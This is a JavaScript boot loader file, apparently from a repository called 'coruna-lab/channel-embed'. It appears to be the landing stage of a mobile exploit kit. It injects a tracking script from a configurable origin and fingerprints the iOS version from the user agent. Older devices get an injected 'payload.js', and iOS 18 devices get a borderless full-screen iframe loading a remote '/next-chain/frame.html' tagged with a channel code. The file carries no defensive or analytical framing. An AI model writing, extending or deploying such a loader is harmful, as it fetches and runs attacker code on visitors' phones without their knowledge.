Files
coruna-lab/channel-embed/index.boot.js
T
2026-10-07 05:19:52 +08:00

82 lines
2.6 KiB
JavaScript

/* coruna-embed-boot */
(function () {
var CHANNEL = '__CHANNEL_CODE__';
var DS_DOMAIN = '__DS_DOMAIN__';
var STAT_ORIGIN = '__STAT_ORIGIN__';
if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
window.__CORUNA_CHANNEL__ = CHANNEL;
}
if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
} else {
window.__CORUNA_STAT_ORIGIN__ = '';
}
function scriptDir() {
try {
if (document.currentScript && document.currentScript.src) {
return document.currentScript.src.replace(/\/[^\/]*$/, '/');
}
} catch (e0) {}
try {
var scripts = document.getElementsByTagName('script');
for (var i = scripts.length - 1; i >= 0; i--) {
var src = scripts[i].src || '';
if (/\/index\.js(?:[?#]|$)/i.test(src)) {
return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
}
}
} catch (e1) {}
return '';
}
function inject(src) {
var s = document.createElement('script');
s.src = src;
(document.body || document.documentElement || document.head).appendChild(s);
}
var dir = scriptDir();
var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
inject((statOrigin || location.origin) + '/t.js?' + Date.now());
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
inject((dir || '') + 'payload.js?' + Date.now());
return;
}
if (ios[0] === 18) {
var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
if (!channelCode) {
try {
var path = String(location.pathname || '');
var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (mWeb && mWeb[1]) channelCode = mWeb[1];
else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
} catch (eC) {}
}
var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();